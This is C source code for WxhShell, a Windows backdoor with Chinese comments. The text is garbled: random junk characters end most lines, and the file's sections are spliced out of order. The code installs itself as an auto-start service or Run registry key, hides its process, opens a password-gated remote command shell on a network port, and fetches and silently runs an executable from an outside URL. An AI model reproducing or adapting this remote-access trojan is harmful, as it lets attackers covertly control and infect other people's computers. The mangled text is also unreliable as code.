ULONG InheritedFromUniqueProcessId; D\&y(=fzf
} PROCESS_BASIC_INFORMATION; N'BctKL
T-8nUo}i
PROCNTQSIP NtQueryInformationProcess; HnY"6gTNK
^3s&90
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Q^Sm`R
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KIl.?_61O
M4PUJZ]
HANDLE hProcess; iBW6<2@oZF
PROCESS_BASIC_INFORMATION pbi; RvZ-w$E&?
T[=cKYp8\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Moh`
if(NULL == hInst ) return 0; ,%G2>PBt
LsZ!':LN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3kQ8*S
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X35U!1Y\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 29DWRJU
f0bV]<_9
if (!NtQueryInformationProcess) return 0; }? '9L:
=v=!x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yQ&%* ?J
if(!hProcess) return 0; * CGdfdxW
&_hCs![
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =9@yJ9c-
'*Mb
.s"
CloseHandle(hProcess); &bgi0)>
O}!@28|3"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O9&:(2'f
if(hProcess==NULL) return 0; Z_WTMs:x!
wz)9/bL
HMODULE hMod; y%l#lz=6
char procName[255]; ?bDae%>.d,
unsigned long cbNeeded; (uc)^lfX
F@K;A%us)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,T[
+omo
8J U~Q
CloseHandle(hProcess); ?t P/VL
''07Km@x
if(strstr(procName,"services")) return 1; // 以服务启动 -{SiK
B;je|M!d
return 0; // 注册表启动 ^#nWgo7{7
} )#Bfd(F
}@6
%yR
// 主模块 Lbkn Sy C
int StartWxhshell(LPSTR lpCmdLine) 2/N*Uk 0
{ F;@&uXYgc
SOCKET wsl; *9wHH-#
BOOL val=TRUE; U {!{5l:
int port=0; ^}\R]})w"
struct sockaddr_in door; ]arskmB]
s4k%ty}
if(wscfg.ws_autoins) Install(); fG5} '8
o^6 j(~
port=atoi(lpCmdLine); agD.J)v\
MCG~{#`
if(port<=0) port=wscfg.ws_port; Q
kpmPQK
HN@)/5BY
WSADATA data; >iJuR.:OO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i_ T dI
[ i#Gqx>'w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Yk&{VXU<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l);8y5
door.sin_family = AF_INET; Y\\nJuJo
door.sin_addr.s_addr = inet_addr("127.0.0.1"); RyD$4jk+T"
door.sin_port = htons(port); )KQum`pO
~ riw7"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ih"Ol(W
closesocket(wsl); H;&t"Ql.
return 1; .w)t<7 y
} %;?3A#
Z`t?kXDNoI
if(listen(wsl,2) == INVALID_SOCKET) { W RaO.3Q@.
closesocket(wsl); XjU; oh4:.
return 1; >L4$DKO
} /MtacR
Wxhshell(wsl); ^SCWT\E
WSACleanup(); )zV5KC{{
9%6`ZS~3
return 0; Xy}S}9
$c47cJO)W
} Or>[_3
zxdO3I
// 以NT服务方式启动 4gENV{L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x0GZ2*vfsb
{ bf(&N-"A
DWORD status = 0; tYa8I/HpT
DWORD specificError = 0xfffffff; 0MPDD%TP
V1;-5L75
serviceStatus.dwServiceType = SERVICE_WIN32; 2jC\yY |PN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; WE]^w3n9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yG4MqR)J
serviceStatus.dwWin32ExitCode = 0; sAlgp2-
serviceStatus.dwServiceSpecificExitCode = 0; [L^#<@S
serviceStatus.dwCheckPoint = 0; {jG`l$$
serviceStatus.dwWaitHint = 0; i[#Tn52D
UkV] F]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `<d>C}9
if (hServiceStatusHandle==0) return; w[-Bsf
Q2=~
status = GetLastError(); D IN
PAyY
if (status!=NO_ERROR) [K- s\
{ 6'zy"UkH
serviceStatus.dwCurrentState = SERVICE_STOPPED; rOT8!"
serviceStatus.dwCheckPoint = 0; q4=RE
serviceStatus.dwWaitHint = 0; hNy S
serviceStatus.dwWin32ExitCode = status; -AQX-[B
serviceStatus.dwServiceSpecificExitCode = specificError; 0f1#TgX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X9HI@M]h
return; OpQa!
} pnU
g:R@
hg @Jpg
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9n7d
"XD2
serviceStatus.dwCheckPoint = 0; 0<9TyN6
serviceStatus.dwWaitHint = 0; y"ck;OQD
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &EOh}O<
} u'p J9>sC
.@Cshj
// 处理NT服务事件,比如:启动、停止 b.;W|$ .
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6wgOmyJx
{ T\>=o]
switch(fdwControl) ,}0pK\Y>$
{ .bGeZwvf:G
case SERVICE_CONTROL_STOP: (Q+3aEUE
serviceStatus.dwWin32ExitCode = 0; 9h{G1XL
serviceStatus.dwCurrentState = SERVICE_STOPPED; aJ5R0Y,
serviceStatus.dwCheckPoint = 0; %ZK}y{u\
serviceStatus.dwWaitHint = 0; =qRVKz
{ P'8E8_M}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*$_eb
} n6f|,D!?
return; Y<v55m-
case SERVICE_CONTROL_PAUSE: -,&Xp>u\
serviceStatus.dwCurrentState = SERVICE_PAUSED; i_"I"5pBF
break; lLhCk>a
case SERVICE_CONTROL_CONTINUE: %Y TIS*+0
serviceStatus.dwCurrentState = SERVICE_RUNNING; wah`
break; "6i9 f$N
case SERVICE_CONTROL_INTERROGATE: 4SYN$?.Mp
break; b}:Z(L,\
}; 0bE_iu>f'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _f`m/l
} nq=fSK(
>. Y~F(
// 标准应用程序主函数 6_Kz}PQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q}jf&xUWzH
{ $((<le5-)
ZE^de(Fm
// 获取操作系统版本 p98lu'?@
OsIsNt=GetOsVer(); & \m\QI
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~a $%
a
_,^sI%
// 从命令行安装 QVpZA,
if(strpbrk(lpCmdLine,"iI")) Install(); ]Gr'Bt /
_$0Ix6y,
// 下载执行文件 sAN#j
{
if(wscfg.ws_downexe) { [H1NP'Kg]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G u=Rf`o
WinExec(wscfg.ws_filenam,SW_HIDE); <_![~n$H
} N5\<w>
=%L^!//c
if(!OsIsNt) { Ogb_WO;)
// 如果时win9x,隐藏进程并且设置为注册表启动 4jpF^&y7u^
HideProc(); C N"c
StartWxhshell(lpCmdLine); G\Me%{b#
} S%@$J~\rx
else JI&>w-~D
if(StartFromService()) ezn>3?S
// 以服务方式启动 Ut+m m\7
StartServiceCtrlDispatcher(DispatchTable); bA)Xjq)Rr
else ^?2txLv,6
// 普通方式启动 { at;
U@o
StartWxhshell(lpCmdLine); /y 0 )r.R
fp7Qb $-A
return 0; [>-k(D5D
} HZT;7<
$spf=t"nh
=T$E
lXwJ
g@Zc'g/XB
=========================================== vzw\f
K +~
;VuIQ*@m"
W.a/k7 p
L6a8%%`
Q%7EC>V
" ciTQH (G
sqw _c{9
#include <stdio.h> lwU&jo*@
#include <string.h> 7,1idY%cy
#include <windows.h> [Ue>KG62=
#include <winsock2.h> 4Qdg t*
#include <winsvc.h> 3 yElN.=
#include <urlmon.h> zE[c$KPP
N(9'U0z
#pragma comment (lib, "Ws2_32.lib") k2=uP8
#pragma comment (lib, "urlmon.lib") mT.F$Y9
L,WKL.
#define MAX_USER 100 // 最大客户端连接数 =4zsAa
#define BUF_SOCK 200 // sock buffer HiC\U%We
#define KEY_BUFF 255 // 输入 buffer ,'!&Z *
`#R$
#define REBOOT 0 // 重启 #'T|,xIr-Q
#define SHUTDOWN 1 // 关机 /$n${M5!
1Jahu!c?
#define DEF_PORT 5000 // 监听端口 8.,PgS
SBEJ@&iB~
#define REG_LEN 16 // 注册表键长度 BjH(E'K[b
#define SVC_LEN 80 // NT服务名长度 eYa gI
;cO0Y.V9l
// 从dll定义API >eC^]#c
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {b?)|@)is
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /EC m
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ReQQti[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "K8qmggTq
0h7\zoZ5
// wxhshell配置信息 1)r1/0
struct WSCFG { #U1soZ7
int ws_port; // 监听端口 MwuH.# Ez
char ws_passstr[REG_LEN]; // 口令 \R<yja
int ws_autoins; // 安装标记, 1=yes 0=no j.z#fU
char ws_regname[REG_LEN]; // 注册表键名 /90@ 85%r
char ws_svcname[REG_LEN]; // 服务名 &]euN~y
char ws_svcdisp[SVC_LEN]; // 服务显示名 WV8<gx`Q
char ws_svcdesc[SVC_LEN]; // 服务描述信息 8]Pf:_e,+
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u(BYRB
int ws_downexe; // 下载执行标记, 1=yes 0=no ~7ArH9k.
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \z_@.Jw{
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >$?Z&7Lv
8ZN J}
}; MT9a 1 >
{5to;\.
// default Wxhshell configuration -B_dE-l,
struct WSCFG wscfg={DEF_PORT, 4 QDW}5xB
"xuhuanlingzhe", M*}o{E;
1, `jV0;sPd;
"Wxhshell", qb! vI3
"Wxhshell", MB#%k#z`B
"WxhShell Service", 6wF?FtT
"Wrsky Windows CmdShell Service", 8\yH7H
"Please Input Your Password: ", ?FA:K0H?zl
1, %B~`bUHjq
"http://www.wrsky.com/wxhshell.exe", SQeQ"k|P%
"Wxhshell.exe" 34oC285yc
}; oreSu;`$
cZwQ{9>
// 消息定义模块 g~cWBr%>
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %|;^[^7+}t
char *msg_ws_prompt="\n\r? for help\n\r#>"; #[A/zH|xvV
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |m=@;B|
char *msg_ws_ext="\n\rExit."; 83S],L
char *msg_ws_end="\n\rQuit."; iw#luHcJ
char *msg_ws_boot="\n\rReboot..."; tuv4~i<
char *msg_ws_poff="\n\rShutdown..."; b*bR<|dT j
char *msg_ws_down="\n\rSave to "; 97
1qr
46 77uy
char *msg_ws_err="\n\rErr!"; -F*j`
char *msg_ws_ok="\n\rOK!"; 5B51^"
&o?pZ(\C
char ExeFile[MAX_PATH]; kh`X92~
int nUser = 0; Kkd7D_bZ*
HANDLE handles[MAX_USER]; A1:Fe9q
int OsIsNt; p0@iGyd
rf9RG!
SERVICE_STATUS serviceStatus; wo*/{KFvh
SERVICE_STATUS_HANDLE hServiceStatusHandle; @50Js3R1q
i3kI{8h
// 函数声明 ztTpMj
int Install(void); xOkf9k_
int Uninstall(void); E&97;VH
int DownloadFile(char *sURL, SOCKET wsh); u^{Q|o:=x
int Boot(int flag); I\[*vgjm3G
void HideProc(void); vbSz&+52;
int GetOsVer(void); e\P+R>i0
int Wxhshell(SOCKET wsl);
UWu|w
void TalkWithClient(void *cs); J+9D/VT
int CmdShell(SOCKET sock); HHX9QebiST
int StartFromService(void); A\=:h AQ
int StartWxhshell(LPSTR lpCmdLine); "['YMhu_
1s*I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YKk%lZ.8
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ln3.TR*
d 5Il0sG
// 数据结构和表定义 ?"L>jr(
SERVICE_TABLE_ENTRY DispatchTable[] = r"0nUf*og:
{ r*WdD/r|
{wscfg.ws_svcname, NTServiceMain}, R+^/(Ws'<
{NULL, NULL} w("jyvV[C
}; C5eol &
#Q;#A |EZ
// 自我安装 YN\
QwV
int Install(void) E P<U:F
{ :\.v\.wm
char svExeFile[MAX_PATH]; `_f3o,5
HKEY key; H#1/H@I#
strcpy(svExeFile,ExeFile); +8~S28"Wg3
+[cm
// 如果是win9x系统,修改注册表设为自启动 oiklRf
if(!OsIsNt) { K<V(h#(.@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /R^!~J50
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s$RymM
RegCloseKey(key); 6jKM,%l
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z`TI<B
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GA;E (a
RegCloseKey(key); {"@ Bf<J#
return 0; Uz1u6BF
} A^g81s.5
} N`#v"f<~Q
} D-[0^
else { Tvk= NJ
X-t4irZ)
// 如果是NT以上系统,安装为系统服务 ,PY<AI^59
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H 9&?<j1n
if (schSCManager!=0) SH5k^EJ
{ u<+;]8[o
SC_HANDLE schService = CreateService PY` V]|J
( ( /uL6W d0
schSCManager, BURiLEYZl
wscfg.ws_svcname, |FKo}>4
wscfg.ws_svcdisp, v}iJ:'
SERVICE_ALL_ACCESS, /Fk0j_b
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =r
GkM.^
SERVICE_AUTO_START, YXBS!89m
SERVICE_ERROR_NORMAL, $-o 39A#
svExeFile, G"J6X e
NULL, !4
6^}3
NULL, :CH'Bt4<
NULL, 4$_8#wB1&
NULL, 'o5[:=K
NULL uD. 0?*_
); gs9f2t
if (schService!=0) GF
k?Qf{u
{ !vG._7lPp
CloseServiceHandle(schService); +L_.XToq-
CloseServiceHandle(schSCManager); H4%wq
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0{Tf;a<
strcat(svExeFile,wscfg.ws_svcname); CMTy(Z8_)
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xv1$,|^ts
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 654PW9{(
RegCloseKey(key); K<N0%c~
return 0; W>+<r9Rt4
} c5U1N&k5&
} 9N9|h y
CloseServiceHandle(schSCManager); hf%W grO.
} ib&
|271gG
} ti'OjoJL
&M<431y
return 1; 1f~_# EIC
} 6Q\n<&,{
F= #zy#@.
// 自我卸载 W&r